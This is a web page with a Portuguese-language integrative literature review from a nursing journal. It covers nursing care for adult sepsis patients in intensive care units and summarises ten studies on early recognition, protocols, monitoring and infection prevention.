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	<title>Enfermagem &#8211; ISSN 1678-0817 Qualis/DOI</title>
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	<description>Revista Científica de Alto Impacto.</description>
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	<title>Enfermagem &#8211; ISSN 1678-0817 Qualis/DOI</title>
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		<title>SEPSE EM PACIENTES INTERNADOS NA UTI: ATUAÇÃO E CUIDADOS ESSENCIAIS DE ENFERMAGEM</title>
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		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Wed, 25 Feb 2026 15:38:23 +0000</pubDate>
				<category><![CDATA[Enfermagem]]></category>
		<category><![CDATA[Volume 30 – Edição 155/FEV 2026]]></category>
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					<description><![CDATA[REGISTRO DOI: 10.69849/revistaft/cl10202602251237 Nikaela Gomes da Silva1Orientadora : Dra. Diala Alves de Sousa2 RESUMO A sepse constitui um grave problema de saúde pública e está entre as principais causas de mortalidade em Unidades de Terapia Intensiva (UTI). Considerando sua evolução rápida e a necessidade de intervenções precoces, a atuação da enfermagem torna-se essencial para o [&#8230;]]]></description>
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<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202602251237</p>



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<p class="has-text-align-right wp-block-paragraph">Nikaela Gomes da Silva<sup>1</sup><br>Orientadora : Dra. Diala Alves de Sousa<sup>2</sup></p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>RESUMO</strong></p>



<p class="wp-block-paragraph">A sepse constitui um grave problema de saúde pública e está entre as principais causas de mortalidade em Unidades de Terapia Intensiva (UTI). Considerando sua evolução rápida e a necessidade de intervenções precoces, a atuação da enfermagem torna-se essencial para o reconhecimento oportuno e o manejo adequado do paciente séptico. Este estudo teve como objetivo analisar, por meio de revisão de literatura, os cuidados de enfermagem direcionados ao paciente com sepse internado em UTI, destacando práticas baseadas em evidências que contribuem para a melhoria dos desfechos clínicos. Trata-se de um estudo de Revisão Integrativa do tipo descritiva, realizado mediante consulta a artigos científicos disponíveis em bases de dados nacionais, selecionados conforme relevância temática, atualidade e pertinência metodológica. A literatura aponta que o reconhecimento precoce da sepse, a monitorização contínua, a adequada coleta de exames, a administração imediata de antibióticos e a ressuscitação volêmica são intervenções essenciais para reduzir complicações e mortalidade. Evidencia-se ainda que a adesão aos protocolos assistenciais, como o “Pacote de 1 Hora”, depende da capacitação permanente da equipe de enfermagem e da organização dos serviços. Os estudos reforçam que a atuação da enfermagem é determinante para o sucesso terapêutico, especialmente em ambientes críticos, nos quais a detecção precoce e a resposta rápida são fundamentais. Conclui-se que a consolidação de práticas baseadas em evidências contribui significativamente para a qualificação do cuidado ao paciente séptico e destaca a importância da formação continuada e do aprimoramento dos protocolos institucionais.</p>



<p class="wp-block-paragraph"><strong>Palavras-chave</strong>: Sepse. Paciente. Cuidados de enfermagem. Unidade terapia intensiva.</p>



<p class="wp-block-paragraph"><strong>ABSTRACT</strong></p>



<p class="wp-block-paragraph">Sepsis constitutes a serious public health problem and is among the leading causes of mortality in Intensive Care Units (ICU). Considering its rapid progression and the need for early interventions, the role of nursing becomes essential for timely recognition and proper management of the septic patient. This study aimed to analyze, through a literature review, the nursing care directed at patients with sepsis admitted to the ICU, highlighting evidence-based practices that contribute to the improvement of clinical outcomes. This is an integrative review study of a descriptive type, carried out through consultation of scientific articles available in national databases, selected according to thematic relevance, currency, and methodological pertinence. The literature indicates that early recognition of sepsis, continuous monitoring, proper laboratory test collection, immediate administration of antibiotics, and fluid resuscitation are essential interventions to reduce complications and mortality. It is also evident that adherence to care protocols, such as the “1-Hour Bundle,” depends on the ongoing training of the nursing staff and the organization of services. Studies reinforce that nursing performance is crucial for therapeutic success, especially in critical care settings, where early detection and rapid response are fundamental. It is concluded that the consolidation of evidence-based practices significantly contributes to the quality of care for septic patients and highlights the importance of continuous education and the improvement of institutional protocols.</p>



<p class="wp-block-paragraph"><strong>Keywords: </strong>Sepsis. Patient. Nursing care.Intensive care unit.</p>



<p class="wp-block-paragraph"><strong>1. INTRODUÇÃO</strong></p>



<p class="wp-block-paragraph">A sepse é uma condição que envolve a resposta do corpo a uma infecção que causa danos aos seus próprios tecidos e órgãos. Pode desenvolver o choque, falência de múltiplos órgãos e morte, especialmente se não for detectável de imediato e tratada de forma assertiva. É uma síndrome bem prevalente, com alta morbidade e mortalidade e elevados custos. O manejo ofertado de forma precoce e tratamento adequado são fatores fundamentais para a mudança deste cenário. <sup>(1)</sup></p>



<p class="wp-block-paragraph">Caracteriza-se por um conjunto de manifestações sistêmicas graves decorrentes de uma infecção que desencadeia uma resposta inflamatória exacerbada em todo o organismo. Embora no passado tenha sido denominada septicemia ou “infecção no sangue”, o termo sepse descreve, na atualidade, uma condição complexa em que o foco infeccioso pode estar localizado em apenas um órgão, como o pulmão, mas produz efeitos generalizados capazes de comprometer o funcionamento de múltiplos sistemas. Essa resposta inflamatória desregulada pode evoluir para disfunção ou falência de múltiplos órgãos, constituindo um dos quadros mais críticos na prática clínica. <sup>(2)</sup></p>



<p class="wp-block-paragraph">De acordo com o Ministério da Saúde (MS) estima-se que ocorram entre 47 e 50 milhões de casos de sepse anualmente, resultando em pelo menos 11 milhões de mortes, o que representa aproximadamente uma em cada cinco mortes no mundo. Trata-se da principal causa de óbitos e de readmissões hospitalares, além de configurar o maior custo em saúde, com gastos que ultrapassam 62 bilhões de dólares apenas nos Estados Unidos. Adicionalmente, até 50% dos sobreviventes desenvolvem sequelas físicas e psicológicas de longo prazo, e cerca de 40% dos casos acometem crianças menores de cinco anos. A sepse é sempre desencadeada por uma infecção como pneumonia ou doenças diarreicas e aproximadamente 80% dos casos têm origem fora do ambiente hospitalar, o que evidencia sua elevada incidência e importância epidemiológica<sup>.</sup> <sup>(1,2)</sup></p>



<p class="wp-block-paragraph">A sepse é considerada uma emergência médica, exigindo reconhecimento imediato e início rápido do tratamento, uma vez que cada hora de atraso aumenta significativamente o risco de mortalidade. Entre os sinais clínicos que podem indicar a presença de sepse destacam- se a confusão mental associada à fala arrastada, tremores intensos, dor muscular, febre, redução acentuada da produção urinária, dificuldade respiratória, sensação de morte iminente, além de alterações cutâneas como equimoses, manchas escuras ou palidez. O manejo inicial deve ser realizado com prioridade, sendo as primeiras horas cruciais para a sobrevida do paciente. A antibioticoterapia adequada deve ser administrada o mais precocemente possível, acompanhada da coleta de culturas de sangue e de outros materiais de acordo com o provável foco infeccioso, com o objetivo de identificar o agente etiológico<sup>.</sup> <sup>(3)</sup></p>



<p class="wp-block-paragraph">A sepse configura-se atualmente como uma das principais causas de morte hospitalar no Brasil, com estimativa de aproximadamente 670 mil óbitos anuais, e, ao contrário do senso comum, não se restringe a indivíduos previamente internados. Grande parte dos casos tem início na comunidade e chega aos serviços de urgência e emergência já em condição crítica. Nesse contexto, campanhas de conscientização têm como objetivo ampliar o reconhecimento da sepse tanto entre profissionais de saúde quanto entre a população geral, promovendo diagnóstico precoce e intervenção imediata. <sup>(4)</sup></p>



<p class="wp-block-paragraph">A sepse é um problema relevante na saúde dos indivíduos suscetíveis na Unidade de Terapia Intensiva (UTI) também tornando um dos maiores desafios na prática clínica, sendo responsável pela elevada morbimortalidade em pacientes internados em UTI. Apesar dos avanços técnicos e científicos, a importância detecção precoce e o tratamento adequado ainda compõem fatores decisivos para a sobrevivência desses pacientes. Nesse contexto, a equipe de enfermagem desempenha papel central, uma vez que está diretamente envolvida na monitorização contínua, na identificação de sinais clínicos iniciais e na implementação imediata de intervenções terapêuticas. <sup>(5)</sup></p>



<p class="wp-block-paragraph">No entanto, para garantir um cuidado assertivo ao paciente com sepse na Unidade de Terapia Intensiva (UTI), é imprescindível que o manejo clínico seja conduzido de forma adequada, considerando que a sepse é uma condição multifatorial e complexa, que demanda uma abordagem individualizada. A identificação precoce do quadro, associada à reposição volêmica eficaz, ao uso racional e oportuno de antibióticos e à monitorização hemodinâmica contínua, constitui um conjunto de medidas essenciais para a otimização dos desfechos clínicos e a redução da morbimortalidade. <sup>(6)</sup></p>



<p class="wp-block-paragraph">A mobilização precoce do paciente com sepse tem sido amplamente incentivada como estratégia para reduzir complicações decorrentes da imobilidade prolongada, tais como atrofia muscular e úlceras por pressão. Essa intervenção está associada a melhores desfechos, incluindo melhora da recuperação funcional e da qualidade de vida após a internação hospitalar. Contudo, evidências recentes apontam que a mobilização deve ser realizada com cautela em pacientes hemodinamicamente instáveis, sendo necessária avaliação criteriosa e monitoramento contínuo para garantir a segurança do paciente. <sup>(6)</sup></p>



<p class="wp-block-paragraph">A relevância deste estudo obriga a necessidade de consolidar o conhecimento científico na íntegra, por meio de uma revisão de literatura baseada em evidências, permitindo envolver de forma aprofundada quais práticas assistenciais têm demonstrado maior eficácia no manejo da sepse. A Prática Baseada em Evidências (PBE) fornece a tomada de decisão clínica, reduzir variabilidades no cuidado e promover uma assistência mais segura e efetiva. Assim, revisar e sintetizar publicações atualizadas sobre o tema torna-se fundamental para embasar a atuação da enfermagem e fomentar melhorias nos protocolos assistenciais adotados nas UTIs.</p>



<p class="wp-block-paragraph">Portanto, o objetivo geral é analisar os cuidados de enfermagem prestados ao paciente com sepse em Unidade de Terapia Intensiva (UTI), com base nas evidências científicas disponíveis na literatura, identificar os principais sinais e critérios diagnósticos de sepse utilizados na UTI e descrever as intervenções de enfermagem preconizadas para o manejo inicial e contínuo do paciente séptico.</p>



<p class="wp-block-paragraph"><strong>2.</strong> <strong>MÉTODO</strong></p>



<p class="wp-block-paragraph">Trata-se de um estudo de Revisão Integrativa do tipo descritiva com embasamento científico com aplicação teórica de Insights a sepse em pacientes internados na uti: atuação e cuidados essenciais de enfermagem</p>



<p class="wp-block-paragraph">A revisão integrativa é método condescendente no processo do levantamento da pesquisa que pertence à apresentação da síntese dos dados sobre um determinado tema. Esta, por sua vez, necessita incidir de maneira clara, apresentada e objetiva, para que o leitor seja capaz de abranger as informações e a estrutura de uma revisão integrativa como a busca de dados, os critérios de inclusão e exclusão, tipo de amostra, e aspectos éticos da pesquisa científica. <sup>(7)</sup></p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 01</strong>: Elaboração da questão norteadora da pesquisa segundo a estratégia PICo.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td class="has-text-align-center" data-align="center"><strong>Acrônimo</strong></td><td class="has-text-align-center" data-align="center"><strong>Descrição</strong></td><td class="has-text-align-center" data-align="center"><strong>Termos</strong></td></tr><tr><td class="has-text-align-center" data-align="center">P</td><td class="has-text-align-center" data-align="center">População</td><td class="has-text-align-center" data-align="center">Pacientes adultos diagnosticados com sepse internados em Unidade deTerapia Intensiva (UTI).</td></tr><tr><td class="has-text-align-center" data-align="center">I</td><td class="has-text-align-center" data-align="center">Interesse</td><td class="has-text-align-center" data-align="center">Cuidados de enfermagem baseados em evidências<strong>,</strong><strong> </strong>incluindo reconhecimento precoce, monitorização &nbsp; contínua,aplicação dos protocolos.</td></tr><tr><td class="has-text-align-center" data-align="center">Co</td><td class="has-text-align-center" data-align="center">Contexto</td><td class="has-text-align-center" data-align="center">Cuidados não padronizados, ausência de protocolos, intervenções tardias ou práticas assistenciais sem base científica atualizada. Redução da mortalidade, diminuição descomplicações, melhora da estabilidade hemodinâmica, identificação precoce da sepse</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte: </strong>(AUTORAS, 2026).</p>



<p class="wp-block-paragraph">A busca de dados seguiu as etapas. Assim, foram inclusas referências extraídas de bibliotecas virtuais nas seguintes bases de dados: Scientific Electronic Library Online (SCIELO), Base de Dados de Enfermagem (BDENF), Biblioteca Virtual em Saúde (BVS), Medical Literature Analysis and Retrieval System On-line (MEDLINE ) e PubMed . Os descritores foram delimitados, conforme o Medical Subject Headings (MeSH) e Descritores em Ciências da Saúde (DeCS), sendo eles: sepse, paciente, cuidados de enfermagem, unidade terapia intensiva.</p>



<p class="wp-block-paragraph">Como critérios de inclusão, foram considerados: artigos em língua portuguesa completo; artigos que abordassem a temática proposta; estudos não duplicados nos bancos de dados. Para os critérios de exclusão, foram desconsiderados: artigos escritos em língua estrangeira; artigos que não abordassem o tema conforme os descritores; e artigos que não estivessem dentro do período pesquisado, compreendido entre 2020 e 2026.</p>



<p class="wp-block-paragraph">Quanto aos aspectos éticos, a pesquisa, por se discutir de uma revisão integrativa, afirma o cumprimento dos princípios éticos que orientaram a elaboração do projeto de pesquisa. Dessa forma, por não submergir seres humanos diretamente, o estudo não carece de submissão ao Comitê de Ética em Pesquisa (CEP).</p>



<p class="wp-block-paragraph"><strong>3.</strong> <strong>RESULTADOS</strong></p>



<p class="wp-block-paragraph">Foram identificados 182 estudos. Inicialmente, realizou-se uma leitura exploratória e minuciosa, a partir da qual, após a aplicação dos critérios de elegibilidade, procedeu-se à análise seletiva dos artigos. Desse processo, 10 estudos foram selecionados para leitura na íntegra em língua portuguesa.</p>



<p class="wp-block-paragraph">Foram excluídos 172 artigos por não abordarem medidas de detecção atuação e cuidados essenciais de enfermagem da sepse em Unidade de Terapia Intensiva Adulto, bem como por não contemplarem aspectos relacionados à fisiopatologia e à assistência de enfermagem ao paciente adulto com sepse.</p>



<p class="wp-block-paragraph">Os artigos investigados foram encontrados nas seguintes bases de dados: SciELO, BDENF, BVS, MEDLINE e PubMed. Do total, 5 artigos foram identificados na BVS, 2 na MEDLINE, 1 na SciELO e 2 na BDENF. Todos os estudos incluídos foram publicados entre 2020 e 2025, com maior concentração no ano de 2025. No ano de 2021, não foram localizados artigos disponíveis na íntegra para inclusão.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 1 </strong>– Apresentação das caraterísticas do ano, autor, tipo de estudo, principais achados e nível de evidência para extração dos dados dos estudos.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td class="has-text-align-center" data-align="center"><strong>Autor/Ano</strong></td><td class="has-text-align-center" data-align="center"><strong>Tipo de Estudo</strong></td><td class="has-text-align-center" data-align="center"><strong>Principais Achados</strong></td><td class="has-text-align-center" data-align="center"><strong>Nível de Evidência</strong></td></tr><tr><td class="has-text-align-center" data-align="center">CAETANO et al., (2023)</td><td class="has-text-align-center" data-align="center">Revisão integrativa</td><td class="has-text-align-center" data-align="center">Importância da educação permanente na identificação precoce da sepse.</td><td class="has-text-align-center" data-align="center">Nível 4</td></tr><tr><td class="has-text-align-center" data-align="center">SANTOS et al., (2025)</td><td class="has-text-align-center" data-align="center">Revisão integrativa de literatura</td><td class="has-text-align-center" data-align="center">Cuidados de enfermagem no choque séptico em UTI.</td><td class="has-text-align-center" data-align="center">Nível 4</td></tr><tr><td class="has-text-align-center" data-align="center">FERREIRA et al., (2020)</td><td class="has-text-align-center" data-align="center">Revisão integrativa</td><td class="has-text-align-center" data-align="center">Sistematização da assistência de enfermagem em pacientes sépticos.</td><td class="has-text-align-center" data-align="center">Nível 4</td></tr><tr><td class="has-text-align-center" data-align="center">MORAES et al., (2022)</td><td class="has-text-align-center" data-align="center">Revisão integrativa</td><td class="has-text-align-center" data-align="center">Atuação do enfermeiro no cuidado ao paciente séptico.</td><td class="has-text-align-center" data-align="center">Nível 4</td></tr><tr><td class="has-text-align-center" data-align="center"><br>SANTOS et al., (2025)</td><td class="has-text-align-center" data-align="center"><br><br>Revisão da literatura</td><td class="has-text-align-center" data-align="center">Evidencia-se que a prevenção deve ser priorizada, com destaque para a adesão rigorosa às medidas de higiene dasmãos, a aplicação de protocolos assistenciais padronizados</td><td class="has-text-align-center" data-align="center"><br><br>Nível 4</td></tr><tr><td class="has-text-align-center" data-align="center">BISPO et al., (2025)</td><td class="has-text-align-center" data-align="center">Revisão integrativa</td><td class="has-text-align-center" data-align="center">Métodos de detecção e manejo da sepse na UTI.</td><td class="has-text-align-center" data-align="center">Nível 4</td></tr><tr><td class="has-text-align-center" data-align="center">SILVA et al., (2024)</td><td class="has-text-align-center" data-align="center">Revisão integrativa</td><td class="has-text-align-center" data-align="center">Cuidados intensivos de enfermagem ao paciente com sepse.</td><td class="has-text-align-center" data-align="center">Nível 4</td></tr><tr><td class="has-text-align-center" data-align="center">ARAÚJO et al., (2024)</td><td class="has-text-align-center" data-align="center">Revisão integrativa</td><td class="has-text-align-center" data-align="center">Caracterização da sepse em ambientes hospitalares.</td><td class="has-text-align-center" data-align="center">Nível 4</td></tr><tr><td class="has-text-align-center" data-align="center">SANTANA et al., (2022)</td><td class="has-text-align-center" data-align="center">Abordagem qualitativa</td><td class="has-text-align-center" data-align="center">Fatores de risco associados à sepse em UTI.</td><td class="has-text-align-center" data-align="center">Nível 4</td></tr><tr><td class="has-text-align-center" data-align="center">SEBASTIÃO et al., (2023)</td><td class="has-text-align-center" data-align="center">Estudo descritivo</td><td class="has-text-align-center" data-align="center">Reconhecimento da sepse pelo enfermeiro em UTI.</td><td class="has-text-align-center" data-align="center">Nível 4</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte</strong>: (AUTORAS, 2026).</p>



<p class="wp-block-paragraph">Os estudos selecionados foram avaliados quanto ao nível de evidência, uma vez que esse critério determina a força científica dos achados apresentados. O nível de evidência está diretamente relacionado ao método utilizado em cada pesquisa e, portanto, conhecer essa classificação é fundamental para interpretar a robustez dos resultados incluídos na Revisão Integrativa. Assim, cada estudo foi associado ao seu respectivo nível de evidência e essa informação foi descrita no quadro síntese apresentado nesta seção.</p>



<p class="wp-block-paragraph">Após a extração dos dados e dos principais achados científicos, procedeu-se à organização das informações com o objetivo de facilitar sua apresentação e permitir melhor compreensão das evidências. Para isso, os dados foram sintetizados a partir de critérios explícitos, agrupando-se elementos semelhantes e destacando-se aspectos relevantes para a prática de enfermagem no manejo da sepse em pacientes adultos internados na UTI. A estruturação das evidências possibilitou a construção de quadros, nos quais foram descritos os autores e ano, tipos de estudos, principais achados e níveis de evidência de cada estudo.</p>



<p class="wp-block-paragraph">Os resultados evidenciam que o enfermeiro desempenha papel central na detecção precoce, monitorização contínua, administração de terapias essenciais e aplicação da Sistematização da Assistência de Enfermagem, além de apontarem lacunas relacionadas à prática clínica, adesão a protocolos e prevenção de infecções associadas à assistência. As conclusões reforçam que o cuidado ao paciente séptico exige conhecimento técnico, julgamento clínico, padronização de práticas assistenciais e integração de protocolos, destacando a relevância da atuação da enfermagem para a melhoria dos desfechos clínicos e redução da mortalidade.</p>



<p class="wp-block-paragraph">O Quadro 2 sintetiza os estudos selecionados, os quais destacam a atuação da enfermagem no reconhecimento, monitorização e manejo da sepse em UTI. Os objetivos variam entre revisar a literatura, identificar práticas assistenciais e analisar fatores associados à sepse, enquanto os resultados demonstram a relevância do enfermeiro na identificação precoce, aplicação de protocolos e execução de cuidados baseados em evidências.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 2 </strong>– Síntese dos estudos selecionados</p>



<figure class="wp-block-table has-small-font-size"><table class="has-fixed-layout"><tbody><tr><td><strong>Estudo</strong></td><td><strong>Autoria</strong></td><td><strong>Título</strong></td><td><strong>Objetivo</strong></td><td><strong>Resultados</strong></td><td><strong>Conclusões</strong></td></tr><tr><td><br><br><br><br><br><br><strong>1</strong></td><td><br><br><br><br>CAETANOet al., ( 2023)</td><td><br>Índice de sepse em UTI no Brasil e a importância da educação permanente com os profissionais de enfermagem e comunidade sobre sinais e sintomas de sepse</td><td><br>Revisar a literatura sobre a sepse e identificar a necessidade de ações educativas tanto para profissionais de saúde quanto para a população em geral.</td><td>resultados apontam para estudos que se complementam e abordam outras questões diante da problemática do conhecimento necessário dos sinais e sintomas da sepse para profissionais de enfermagem e a comunidade.</td><td><br>Diante destes estudos, a qualificação e capacitação dos profissionais de enfermagem através da Educação Permanente revela um menor índice de diminuição de risco de vida do paciente com suspeita de sepse</td></tr><tr><td><br><br><br><br><br><strong>2</strong></td><td><br><br>SANTOS et al., (2025)</td><td><br><br>Cuidados de enfermagem ao paciente em choque séptico na unidade de terapia intensiva</td><td><br><br><br>contribuir para a detecção precoce da condição e a implementação de intervenções adequada</td><td><br>Observou-se que, apesar do conhecimento teórico adequado da equipe de enfermagem, lacunas na aplicação prática e na identificação precoce da sepse</td><td><br>A enfermagem, ao integrar conhecimento técnico, julgamento clínico e abordagem humanizada, exerce papel essencial na preservação da vida e na qualificação do cuidado em situações críticas.</td></tr><tr><td><br><br><br><br><br><br><br><br><strong>3</strong></td><td><br><br><br><br><br><br><br>FERREIRAet al., (2020)</td><td><br><br><br><br><br>Sistematização da assistência de enfermagem a pacientes adultos com diagnóstico de sepse</td><td><br><br><br><br>Objetivo analisar evidências na literatura científica acerca de assistência de enfermagem desenvolvida para indivíduos adultos com sepse<strong>.</strong></td><td>Os principais cuidados envolveram a identificação de sinais clínicos de sepse, administração de antimicrobianos, fluidos e vasopressores, monitoramento eletrônico, coleta de lactato e gasometrias, curva glicêmica, sistematização da assistência de enfermagem</td><td><br>O estudo concluiu que pacientes adultos com sepse exigem cuidados específicos de enfermagem, baseados em metodologias assistenciais fundamentadas em evidências científicas, como protocolos e ferramentas, assim como revelou a necessidade de métodos educacionais.</td></tr><tr><td><br><br><br><br><br><br><strong>4</strong></td><td><br><br><br><br><br>MORAES et al., (2022)</td><td><br><br><br>Atuação do enfermeiro no cuidado ao paciente em quadro clínico de sepse: revisão integrativa</td><td><br>Descrever a atuação do profissional enfermeiro ao paciente em quadro séptico, estabelecer fatores que contribuem para a ocorrência de sepse em UTI- adulto</td><td>A busca trouxe de forma geral protocolos, pesquisas de conhecimento dos enfermeiros, cuidados de enfermagem, sinais clínicos, fatores de risco, identificação de sinais e sintomas e processo de enfermagem.</td><td><br>Enfermeiros são profissionais de grande relevância no ambiente intensivo, desempenhando a função de impedir ou reduzir consideravelmente a progressão de sepse para as formas mais graves</td></tr></tbody></table></figure>



<figure class="wp-block-table has-small-font-size"><table class="has-fixed-layout"><tbody><tr><td><br><br><br><br><br><br><br><strong>5</strong></td><td><br><br><br><br><br><br>BISPO et al., (2025)</td><td><br><br><br>Métodos para detecção e manejo da sepse em uma Unidade de Terapia Intensiva: Uma revisão integrativa</td><td><br><br><br>analisar na literatura científica as estratégias de detecção e manejo da Sepse realizadas pela equipe de enfermagem em Unidade de Terapia Intensiva</td><td>Nessa conjuntura, esforços devem ser direcionados para a integração de protocolos clínicos e medidas de melhoria baseado em evidências como eixo imprescindível sobre estratégias de cunho regresso as manifestações da Sepse</td><td>O estudo discutiu a importância de ações direcionadas para a detecção e manejo da Sepse em Unidade de Terapia Intensiva, especialmente, voltado a enfermagem. Dito isso, a Sepse em todo contexto hospitalar é um problema grave de saúde pública, principalmente voltado a Unidade de Terapia Intensiva.</td></tr><tr><td><br><br><br><br><br><strong>6</strong></td><td><br><br><br><br><br>SILVA et al., (2024 )</td><td></td><td><br><br><br>Descrever os cuidados de enfermagem na terapia intensiva do paciente com sepse.</td><td><br>Foram encontrados 11 estudos que sintetizam os cuidados de enfermagem ao paciente com sepse em três eixos: diagnóstico precoce, monitorização e manejo clínico</td><td>Os cuidados de enfermagem ao paciente com sepse na unidade de terapia intensiva são pautados no diagnóstico precoce, na oportuna monitorização e efetivo manejo clínico com integração do processo de enfermagem</td></tr><tr><td><br><br><br><br><strong>7</strong></td><td><br><br><br>ARAUJO et al., (2024)</td><td><br>Sepse em ambientes hospitalares: uma revisão integrativa da literatura</td><td>investigar o papel dos enfermeiros na implementação e execução dos protocolos de sepse em ambientes hospitalares</td><td>Os resultados demonstram que os enfermeiros, frequentemente os primeiros a avaliar os pacientes, são essenciais na detecção precoce da sepse</td><td>implementação de protocolos assistenciais adaptados às realidades locais é essencial para reduzir a mortalidade por sepse e melhorar os resultados clínicos</td></tr><tr><td><br><br><br><br><br><br><br><br><br><br>8</td><td><br><br><br><br><br><br><br><br><br>SANTOS et al., ( 2025)</td><td><br><br><br><br><br><br><br>Assistência de enfermagem na prevenção de infecção hospitalar e sepse em terapia intensiva</td><td><br><br><br><br><br>Revisar a literatura científica sobre infecção hospitalar e sepse em UTIs, destacando os fatores de riscos, medidas preventivas e impacto na mortalidade</td><td>As infecções hospitalares, também denominadas Infecções Relacionadas à Assistência à Saúde (IRAS),correspondem a infecções adquiridas durante a internação em ambiente hospitalar, geralmente após 48 a 72 horas da admissão, e que não estavam presentes ou incubadas no momento da chegada do paciente. Nas Unidades de Terapia Intensiva (UTIs)</td><td><br><br>Conclui-se que as infecções hospitalares e a sepse em UTIs, embora representem um desafio constante para a assistência em saúde, podem ter seus impactos reduzidos por meio da prevenção, da adesão a protocolos clínicos e do diagnóstico precoce, estratégias que fortalecem a segurança do paciente crítico.</td></tr></tbody></table></figure>



<figure class="wp-block-table has-small-font-size"><table class="has-fixed-layout"><tbody><tr><td><br><br><br><br><br><br><br><br><strong>9</strong></td><td><br><br><br><br><br><br><br>SANTANAet al., (2022)</td><td><br><br><br><br><br>Fatores de risco associados à sepse empacientes internados na unidade deterapia intensiva.</td><td><br><br><br>O objetivo do estudo é compreender quais são os fatores que estão associados ao desenvolvimento de sepse em pacientes internados na unidade de terapia intensiva</td><td>Foram encontrados 147 estudos, após avaliação, 06 foram selecionados para compor a amostra final. Os fatores de riscos associados à sepse em pacientes da UTI estão relacionados aos procedimentos invasivos: ventilação mecânica, cateterismo vascular e outros.</td><td><br>Evidenciou-se por meio dos estudos que o desenvolvimento da sepse no ambiente hospitalar é um fator que influencia diretamente para o comprometimento da qualidade de vida dos pacientes, aumentando desse modo o índice de mortalidade.</td></tr><tr><td><br><br><br><br><br><strong>10</strong></td><td><br><br><br><br><br>SEBASTIÃOet al., (2023)</td><td><br><br><br>A atuação do enfermeiro no reconhecimento da sepse em Unidade de Terapia Intensiva</td><td><br><br>comprovar a atuação do enfermeiro no reconhecimento da Sepse em Unidade de Terapia Intensiva.</td><td>Foi observado que alguns artigos não abordavam o tema investigado. Por fim, 15 artigos contemplaram o objetivo do trabalho e todos os aspectos envolvidos e perfizeram parte desta revisão integrativa</td><td><br><br><br>Conclui-se que o reconhecimento precoce da sepse é a chave para o tratamento adequado</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte: </strong>(AUTORAS, 2026).</p>



<p class="wp-block-paragraph">A análise dos estudos permitiu identificar quatro categorias temáticas principais. A primeira, Identificação precoce e reconhecimento clínico da sepse (80%), evidencia que grande parte das pesquisas destaca o papel fundamental do enfermeiro na detecção precoce, avaliação de sinais clínicos, julgamento clínico e rapidez na tomada de decisões diante da suspeita de sepse.</p>



<p class="wp-block-paragraph">A segunda categoria, Implementação de protocolos e manejo baseado em evidências (70%), demonstra a relevância dos protocolos institucionais, bundles e medidas terapêuticas imediatas, reforçando a necessidade de padronização da assistência.</p>



<p class="wp-block-paragraph">A terceira categoria, Cuidados assistenciais e monitoramento contínuo (50%), engloba ações diretamente relacionadas ao cuidado intensivo, como monitorização hemodinâmica, administração de antimicrobianos, fluidoterapia, uso de vasopressores, coleta de exames e aplicação da Sistematização da Assistência de Enfermagem (SAE).</p>



<p class="wp-block-paragraph">Por fim, a categoria Fatores de risco e prevenção de infecções (20%) reúne estudos que abordam fatores predisponentes para sepse, Infecções Relacionadas à Assistência à Saúde (IRAS), procedimentos invasivos e seus impactos na morbimortalidade. Essas categorias sintetizam as principais evidências encontradas e refletem a complexidade do cuidado de enfermagem ao paciente séptico em UTI.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 3 </strong>– Descrição das categorias temáticas que emergiram dos estudos.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td class="has-text-align-center" data-align="center"><strong>Categoria Temática</strong></td><td class="has-text-align-center" data-align="center"><strong>Publicações</strong></td><td class="has-text-align-center" data-align="center"><strong>Porcentagem</strong></td></tr><tr><td class="has-text-align-center" data-align="center">Identificação precoce e reconhecimentoclínico da sepse</td><td class="has-text-align-center" data-align="center">1, 2, 3, 4, 5, 6, 7, 10</td><td class="has-text-align-center" data-align="center">80%</td></tr><tr><td class="has-text-align-center" data-align="center">Implementação de protocolos e manejo baseado em evidências</td><td class="has-text-align-center" data-align="center">1, 2, 3, 4, 5, 7, 8</td><td class="has-text-align-center" data-align="center">70%</td></tr><tr><td class="has-text-align-center" data-align="center">Cuidados de enfermagem no monitoramento e tratamento do paciente séptico</td><td class="has-text-align-center" data-align="center">2, 3, 4, 6, 8</td><td class="has-text-align-center" data-align="center">50%</td></tr><tr><td class="has-text-align-center" data-align="center">Fatores de risco, prevenção de infecções e segurança do paciente</td><td class="has-text-align-center" data-align="center">8, 9</td><td class="has-text-align-center" data-align="center">20%</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte: </strong>(AUTORAS, 2026).</p>



<p class="wp-block-paragraph"><strong>4.</strong> <strong>DISCUSSÃO</strong></p>



<p class="wp-block-paragraph">Os princípios de conservação demonstram forte relação com a assistência de enfermagem ao paciente com sepse. A conservação da energia envolve garantir oferta adequada de oxigênio e avaliar parâmetros vitais, fundamentais diante do risco de instabilidade hemodinâmica. A conservação da integridade estrutural destaca a importância do reconhecimento precoce das disfunções orgânicas previstas no pacote Hora-1. Já a integridade pessoal requer que a equipe respeite e preserve a identidade do paciente, especialmente quando há limitações de comunicação. Por fim, a conservação da integridade social reforça a necessidade de uma relação terapêutica com o paciente e a família, valorizando o cuidado humanizado e centrado na pessoa. <sup>(4,5)</sup></p>



